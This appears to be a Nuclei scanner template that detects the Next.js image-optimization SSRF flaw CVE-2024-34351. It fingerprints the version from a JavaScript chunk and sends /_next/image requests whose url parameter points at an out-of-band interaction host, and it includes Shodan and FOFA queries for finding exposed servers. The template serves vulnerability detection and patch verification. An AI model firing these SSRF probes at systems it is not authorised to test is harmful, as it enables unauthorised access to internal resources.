id: CVE-2024-34351

info:
  name: Next.js - Server Side Request Forgery (SSRF)
  author: righettod
  severity: high
  description: |
    Next.Js, inferior to version 14.1.1, have its image optimization built-in component prone to SSRF.
  impact: |
    Unauthenticated attackers can force the Next.js server to make requests to arbitrary internal or external resources.
  remediation: |
    Update Next.js to version 14.1.1 or later.
  reference:
    - https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps
    - https://nvd.nist.gov/vuln/detail/CVE-2024-34351
    - https://github.com/vercel/next.js/security/advisories/GHSA-fr5h-rqp8-mj6g
    - https://github.com/vercel/next.js/commit/8f7a6ca7d21a97bc9f7a1bbe10427b5ad74b9085
    - https://github.com/vercel/next.js/pull/62561
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-34351
    cwe-id: CWE-918
    epss-score: 0.05453
    epss-percentile: 0.91938
  metadata:
    max-request: 3
    product: next.js
    shodan-query:
      - http.html:"/_next/static"
      - cpe:"cpe:2.3:a:zeit:next.js"
    fofa-query: body="/_next/static"
  tags: cve,cve2024,vercel,nextjs,ssrf,vuln,oast

flow: |
  http(1)
  if (template["chunk_path"]) {
    if (http(2)) {
      http(3)
    }
  }

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: word
        words:
          - "/_next/static"
        internal: true

    extractors:
      - type: regex
        name: chunk_path
        internal: true
        group: 1
        regex:
          - '"(/_next/static/chunks/main-[a-z0-9]+\.js)"'
          - '"(/_next/static/chunks/[0-9]+-[a-z0-9]+\.js)" async="" crossorigin=""'

  - method: GET
    path:
      - "{{BaseURL}}{{chunk_path}}"

    matchers:
      - type: dsl
        dsl:
          - "compare_versions(nextjs_ver, '>= 13.4.0', '< 14.1.1')"
        internal: true

    extractors:
      - type: regex
        name: nextjs_ver
        internal: true
        group: 1
        regex:
          - '"(1[34]\.\d+\.\d+)"'

  - method: GET
    path:
      - '{{BaseURL}}/_next/image?w=16&q=10&url=http://{{interactsh-url}}'
      - '{{BaseURL}}/_next/image?w=16&q=10&url=https://{{interactsh-url}}'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "The requested resource isn't a valid image"
# digest: 4a0a0047304502200e9eafbdc31d4c3d55a34f2fc4dda8acde48c7d956c168d5d71172c59cabaf7002210089c733e693edc533e78ec061998a02d4035172cdf95a726be2ea6a2876a8ca3e:922c64590222798bb761d5b6d8e72950